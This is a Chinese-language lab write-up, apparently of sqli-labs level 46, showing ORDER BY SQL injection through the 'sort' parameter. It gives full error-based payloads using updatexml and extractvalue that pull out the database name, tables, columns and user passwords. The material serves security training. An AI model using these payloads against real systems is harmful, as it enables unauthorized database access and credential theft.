首页 > 其他 > 详细

Less(46)

时间:2020-03-14 12:19:05      阅读:78      评论:0      收藏:0      [点我收藏+]

1.看一下php

  技术分享图片

 

   (1)用order by 注入来看看

    技术分享图片

 

     技术分享图片

 

   (2)通过asc 和desc查看返回数据是否相同来简单判断是否存在order  by注入

     ?sort=1+asc

      技术分享图片

    ?sort=1+desc
      

      技术分享图片

 

 2.报错注入

  (1)爆库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0))

    技术分享图片

 

   (2)爆表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema="security" and table_name not in(‘emails‘,‘referers‘))),0))      

 

     技术分享图片

 

   (3)爆列名:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and column_name not in(‘first_name‘,‘last_name‘,‘user_id‘,‘last_login‘,‘avatar‘,‘failed_login‘,‘user‘))),0))

    技术分享图片

  (4)爆值:?sort=1 and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))))

    技术分享图片

 

Less(46)

原文:https://www.cnblogs.com/meng-yu37/p/12491307.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!